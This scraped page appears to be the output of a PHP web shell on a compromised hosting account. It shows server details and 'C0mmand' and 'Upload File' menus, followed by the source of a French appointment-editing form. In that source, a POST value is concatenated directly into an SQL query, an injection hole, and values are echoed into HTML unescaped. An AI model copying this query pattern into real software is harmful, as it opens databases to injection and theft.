|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/logmcpe/www/TMCPRO/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
$user_ide = $_SESSION['MCPRO']['user_id'] ;
// echo "test test <br/> " ;
$id_event = $_POST['idp'];
// echo "==>".$id_event."<br/>" ;
?>
<div class="modal-header task-single-header" data-task-single-id="5" data-status="4">
<h4 class="modal-title">Modifier RDV <?php echo $prestationid ;?></h4>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<form action="" method="POST">
<input type="hidden" name="id_event" value="<?=$id_event ?>">
<?php
// unset($red) ;
// echo" test " ;
// exit() ;
$event =dbi_fetch_row(dbi_query(" SELECT * FROM `events` WHERE `id` = ".$id_event))
// $red= dbi_fetch_row(dbi_query("SELECT * FROM `demliv` WHERE `demliv_id` = ".$rowid )) ;
// $chantier_designation = $red['chantier_designation'];
// echo "====>".$chantier_designation."<br/>" ;
?>
<!-- ///////Ligne société & Catégorie -->
<!-- ///////Ligne -->
<div class="form-row">
<input type="hidden" name="start" id="start" value="">
<div class="form-row">
<div class="form-group col-md-12">
<label for="inputAddresse">Date Rendez-vous :</label>
<?php $date_rdv = int2date_autre_format($event['date_rdv']) ; ?>
<input type="date" class="form-control" id="startmodal" name="startmodal" value='<?php echo $date_rdv ; ?>' placeholder="jj/mm/aaaa"/>
</div>
</div>
<div class="form-group col-md-4">
<label for="inputAddresse">Titre :</label>
<input class="form-control" type="text" rows="2" value='<?php echo $event['title'] ; ?>' placeholder="" name= "title">
</div>
<div class="form-group col-md-4">
<label for="inputAddresse">Type : </label>
<select class="form-control select2" style="width: 100%;" name="event_type" id="event_type">
<?php $req =dbi_query("SELECT * FROM events_type ") ;
while( $sal=dbi_fetch_row($req)) { ?>
<option value="<?php echo $sal['events_type_id'] ; ?>" <?php if($sal['events_type_id'] == $event['event_type'] ) echo 'selected' ; ?> ><?php echo $sal['events_type']; ?></option>
<?php } ?>
</select>
</div>
<div class="form-group col-md-10">
<label for="inputAddresse">Description :</label>
<textarea class="form-control" type="text" rows="2" placeholder="" name= "description"><?php echo $event['description'] ; ?></textarea>
</div>
<div class="form-group col-md-3">
<label for="inputAddresse">Heure Début :</label>
<input type="time" id="appt" min="05:00" max="22:00" class="form-control" name="Hdeb" value='<?php echo $event['h_debut'] ; ?>' required="">
</div>
<div class="form-group col-md-3">
<label for="inputsociete">Heure fin :</label>
<input type="time" id="appt" min="05:00" max="22:00" class="form-control" name="Hfin" value='<?php echo $event['h_fin'] ; ?>' required="">
</div>
</div>
<input type="hidden" name="update_tache" value="<?=$rowid ?>">
<div class="modal-footer justify-content-between">
<button type="submit" name="Modifier" value="Modifier" class="btn btn-primary">Modifier</button>
<button type="submit" name="Supprimer" value="sup" class="btn btn-primary">Supprimer</button>
<button style="width=10px;" type="button" class="btn btn-danger" data-dismiss="modal">Fermer</button>
</div>
</form>
<script src="../../plugins/bs-custom-file-input/bs-custom-file-input.min.js"></script>
<script src="../../plugins/summernote/summernote-bs4.min.js"></script>
<script type="text/javascript">
$(document).ready(function () {
bsCustomFileInput.init();
});
$(function () {
// Summernote
$('.textarea').summernote()
})
</script>
